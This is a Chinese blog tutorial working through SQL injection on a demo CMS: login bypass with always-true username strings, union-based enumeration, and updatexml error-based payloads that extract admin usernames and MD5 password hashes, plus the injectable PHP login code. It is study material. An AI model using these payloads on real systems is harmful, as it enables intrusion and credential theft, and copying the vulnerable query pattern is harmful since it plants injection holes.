SQL注入案例及原理

SQL注入案例及原理


前言

本次将简单的学习SQL注入案例及原理

一、SQL注入是什么?

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

二、通过万能用户名来登录网页管理系统

万能用户名

这两个就是万能用户名,下面将进行实际操作

  1. aaa’ or 1=1 #

  2. aaa’ or ‘1’='1


首先进入演示网站中的后台管理
在这里插入图片描述 可以看到有一个登录界面
在这里插入图片描述这里随便输入一个用户名和密码登录/用户名:admin 密码:password
在这里插入图片描述可以看到登录失败
在这里插入图片描述

使用bp抓包查看,可以发现登录包为POST请求,而且可以看到我们刚刚输入的用户名和密码,以及请求回显为200
在这里插入图片描述这次我们使用万能用户名登录/用户名:aaa' or 1=1 # 密码:1

在这里插入图片描述发现可以登录,用户名为我们刚刚输入的万能用户名
在这里插入图片描述使用bp抓包查看,POST请求包中输入的用户名所包含的特殊字符变成了URL编码,%27为',空格为了+,等于号为%3D,井号为%23。回显中发现密码变为了MD5形式。
在这里插入图片描述在这里插入图片描述

由此可以推断这个网页源码存在问题

解析

以下为源码文件

<?php
session_start ();
header('Content-Type: text/html; charset=utf-8');
include_once ("../include/config.inc.php");
if (isset ( $_POST ["username"] )) {
	$username = $_POST ["username"];
} else {
	$username = "";
}
if (isset ( $_POST ["password"] )) {
	$password = $_POST ["password"];
} else {
	$password = "";
}
//记住用户名
setcookie (username, $username,time()+3600*24*365);
if (empty($username)||empty($password)){
	exit("<script>alert('用户名或密码不能为空!');window.history.go(-1)</script>");
}
$user_row = $db->getOneRow("select userid from cms_users where username = '".$username."' and password='".md5 ( $password ) ."'");
echo "select userid from cms_users where username = '".$username."' and password='".md5 ( $password ) ."'";
if (!empty($user_row )) {
	setcookie (userid, $user_row ['userid'] ); 
	header("Location: index.php");
}else{
	//echo "select userid from cms_users where username = '".$username."' and password='".md5 ( $password ) ."'";
	exit("<script>alert('用户名或密码不正确!');window.history.go(-1)</script>");
}
?>

$user_row = $db->getOneRow("select userid from cms_users where username = '".$username."' and password='".md5 ( $password ) ."'");
//可以看出包含了SQL语句,登录验证方式为通过select查询cms库中users表的信息,判断是否有该用户。

我们将万能用户名代入

$user_row = $db->getOneRow("select userid from cms_users where username = 'aaa' or 1=1 #".$username."' and password='".md5 ( $password ) ."'");
这样可以分为两段,分别是
1.$user_row = $db->getOneRow("select userid from cms_users where username = 'aaa' or 1=1 #
2.".$username."' and password='".md5 ( $password ) ."'");
第二段变为注释内容,第一段可以理解为使用了`or`运算符,一个为真都为真,其中`1=1`为真,所有恒为真,后面的`#`为注释内容

三.联合查询

进入页面随便点击一篇文章,可以看到有?id=33,将33更改为34
在这里插入图片描述
发现将?id=33改为?id=34后网页内容发生了改变在这里插入图片描述现在在?id=34后面加入',查看有什么变化
在这里插入图片描述
这里使用的工具是HackBar,发现网页报错在这里插入图片描述解析一下报错信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 1

其中主要看的内容为near ‘’’,其中一个'是我们输入的,按照SQL语句来看应该是select FUZZ from FUZZ where id=34,因为多输了一个'所有报错,另外这个id所获取的是数字类型,不是字符串类型
id=34后面添加and 1=1,发现网页信息又会重新显示出来
在这里插入图片描述通过order by来判断列数
在这里插入图片描述显示没有100列,使用二分查找法继续判断,最后发现只有15行
在这里插入图片描述使用联合查询来判断显示位数union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
在这里插入图片描述发现没有什么变化,这是因为需要把id=34改为假,这里我们改为id=-34
在这里插入图片描述发现311有回显,我们将3改为version(),11改为database(),查看结果
在这里插入图片描述这样子原先3的位置变为了数据库的版本,·11的位置变成了数据库的名称

四.获取后台管理员账密

有四种方法,其中布尔盲注和延时注入的成本极高,望谨慎执行

1.联合查询

首先查询cms库中所有的表名
在这里插入图片描述其中count(*)是显示表的数量,hex(group_concat(table_name))是显示表名,这里可以使用bp中的Decoder转换,information_schema.tables where table_schema=database()为所查询的库
在这里插入图片描述查询cms_users表的信息,发现有两个用户,这里显示的是第一个用户
在这里插入图片描述使用limit 1,1,就可以查询出第二个用户
在这里插入图片描述

2.报错注入

首先查询库名

updatexml(1,concat(0x5e,(select database()),0x5e),1)

在这里插入图片描述查询cms库中表的个数

id=34 and updatexml(1,concat(0x5e,(select count(*) from information_schema.tables where table_schema=database()),0x5e),1)

在这里插入图片描述逐一获取表名

updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x5e),1)

在这里插入图片描述第八个表为cms_users表
在这里插入图片描述查询cms_users表中有几个数据。0x636d735f7573657273cms_users的16进制转换

updatexml(1,concat(0x5e,(select count(*) from information_schema.columns where table_schema=database() and table_name=0x636d735f7573657273),0x5e),1)

在这里插入图片描述查询各个数据

updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name=0x636d735f7573657273 limit 0,1),0x5e),1)

在这里插入图片描述在这里插入图片描述
在这里插入图片描述分别为useridusernamepassword,因为userid没有什么用处,主要精力放在usernamepassword

updatexml(1,concat(0x5e,(select username from cms_users limit 0,1),0x5e),1)//查询username表中第一个用户名

在这里插入图片描述
这是第二个用户名在这里插入图片描述查询admin的密码为[e10adc3949ba59abbe56e057f20f883e](https://www.somd5.com/),123456

updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users limit 0,1),0x5e),1)
updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users limit 0,1),0x5e),1)
//因为是MD5加密的32位密码,所有分两次查询

在这里插入图片描述在这里插入图片描述
查询ajest的密码和上述相同,密码为cbff36039c3d0212b3e34c23dcde1456,123.com
在这里插入图片描述受不了了,布尔盲注和延时注入稍后再说

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL注入攻击是一种利用输入的SQL代码进行非法操作的攻击方式。攻击者可以通过在输入框中注入恶意的SQL代码,从而绕过应用程序的认证和授权机制,对数据库进行各种操作,例如删除、修改、插入数据,甚至获取数据库中的敏感信息。 《SQL注入攻击与防御第二版》是一本关于SQL注入攻击的防御和应对策略的书籍。该书介绍了SQL注入攻击的原理、常见的攻击方式、实际案例以及相应的防御措施。 在防御SQL注入攻击时,我们可以采取以下一些措施: 1. 使用参数化查询或预编译语句:这种方式可以防止攻击者通过输入恶意的SQL代码来注入攻击。参数化查询使用占位符来代替输入的变量,预编译语句将SQL查询语句和变量分开进行处理,从而有效防止注入攻击。 2. 对输入进行过滤和验证:在接收用户输入时,可以对输入进行过滤和验证。例如,可以使用正则表达式或编码转换函数来过滤用户输入中的特殊字符,从而防止注入攻击。 3. 最小权限原则:数据库用户应该被赋予最小权限,在应用程序连接数据库时,使用具有最小权限的数据库用户,限制了攻击者对数据库的操作。 4. 定期更新和升级软件:应该及时更新数据库和应用程序的补丁,以修复已知的漏洞,提高系统的安全性。 5. 日志监控和异常检测:及时监控数据库操作日志,发现异常操作并进行相应的处理。可以通过设置数据库的审计功能、使用入侵检测系统等方式进行日志监控和异常检测。 通过了解并遵循上述防御措施,可以增强系统的安全性,有效地防范SQL注入攻击。《SQL注入攻击与防御第二版》这本书将为读者提供更深入的理解和应对策略。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值